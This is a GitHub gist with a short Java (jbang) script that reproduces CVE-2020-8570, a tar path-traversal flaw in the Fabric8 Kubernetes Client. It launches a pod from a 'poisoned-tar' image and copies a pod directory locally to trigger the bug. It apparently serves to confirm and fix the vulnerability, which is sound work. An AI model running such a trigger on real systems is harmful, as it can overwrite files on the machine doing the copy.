Skip to content

Instantly share code, notes, and snippets.

@manusa
Last active January 29, 2021 16:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save manusa/94b91311ee9af7267a8a7f659f594a82 to your computer and use it in GitHub Desktop.
Save manusa/94b91311ee9af7267a8a7f659f594a82 to your computer and use it in GitHub Desktop.
CVE2020-8570 Fabric8 Kubernetes Client reproducer (https://github.com/fabric8io/kubernetes-client/issues/2715)
///usr/bin/env jbang "$0" "$@" ; exit $?
//DEPS io.fabric8:kubernetes-client:5.0.1
//DEPS commons-codec:commons-codec:1.15
//DEPS org.apache.commons:commons-compress:1.20
import io.fabric8.kubernetes.client.DefaultKubernetesClient;
import io.fabric8.kubernetes.client.KubernetesClient;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.concurrent.TimeUnit;
public class CVE2020_8570 {
public static void main(String... args) throws Exception {
try (KubernetesClient kc = new DefaultKubernetesClient()) {
final String podName = "poisoned-tar";
kc.pods().withName(podName).withGracePeriod(0L).delete();
kc.run().withImage("marcnuri/poisoned-tar:latest").withName(podName).done();
kc.pods().withName(podName).waitUntilReady(10L, TimeUnit.SECONDS);
final Path targetDirectory = Paths.get("", "target-directory");
targetDirectory.toFile().mkdirs();
kc.pods().withName(podName).dir("/var/lib").copy(targetDirectory);
}
}
}
@manusa
Copy link
Author

manusa commented Jan 29, 2021

Reproducer script for fabric8io/kubernetes-client#2715

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment